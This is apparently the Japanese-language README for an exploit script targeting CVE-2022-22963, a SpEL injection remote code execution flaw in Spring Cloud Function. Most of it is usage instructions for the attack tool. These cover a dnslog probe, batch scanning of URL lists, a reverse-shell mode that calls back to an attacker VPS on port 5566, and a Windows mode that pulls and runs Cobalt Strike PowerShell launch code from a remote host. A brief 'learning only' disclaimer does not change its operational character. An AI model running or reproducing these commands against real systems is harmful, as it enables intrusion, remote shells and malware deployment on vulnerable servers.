
Spring Cloud Function SPEL式インジェクションの脆弱性(CVE-2022-22963)
Springフレームワークは、現代のJavaベースのエンタープライズアプリケーション(あらゆるタイプのデプロイプラットフォーム上)に対して、包括的なプログラミングおよび構成モデルを提供します。
Spring CloudのサーバーレスフレームワークであるSpring Cloud FunctionのRoutingFunctionクラスのapplyメソッドは、リクエストヘッダーの「spring.cloud.function.routing-expression」パラメータをSpel式として処理するため、Spel式インジェクションが発生します。攻撃者はこの脆弱性を利用して任意のコードを実行できます。
影響範囲:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
このスクリプトは学習目的のみで使用してください。他の目的で使用した場合に生じる法的責任はすべて作者とは無関係です
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u 単一のURLを指定してdnslogテストを実行する
-e リバースシェルモードを指定する
-s ターゲットホストのOSを指定する。デフォルトはlinux、パラメータはwin/linux -iおよび-cパラメータと併用する
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874はvulfocusのdocker標的環境であり、nslookupコマンドがインストールされていないため、dnslogテストは失敗する
- 一括テストするURLアドレスは必ずWebサイトのルートディレクトリである必要がある。http://192.168.50.222:8080/ はローカルに構築した標的環境のルートディレクトリであり、testディレクトリを追加するとpocが無効になる
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-cは、csが生成したPowerShell起動コードのアドレスを指定する。必ず -s "win" と併用する必要がある。-cオプションでは、スクリプトをWindows環境で実行しなければならず、スクリプトはPowerShellを呼び出してpocをエンコードする


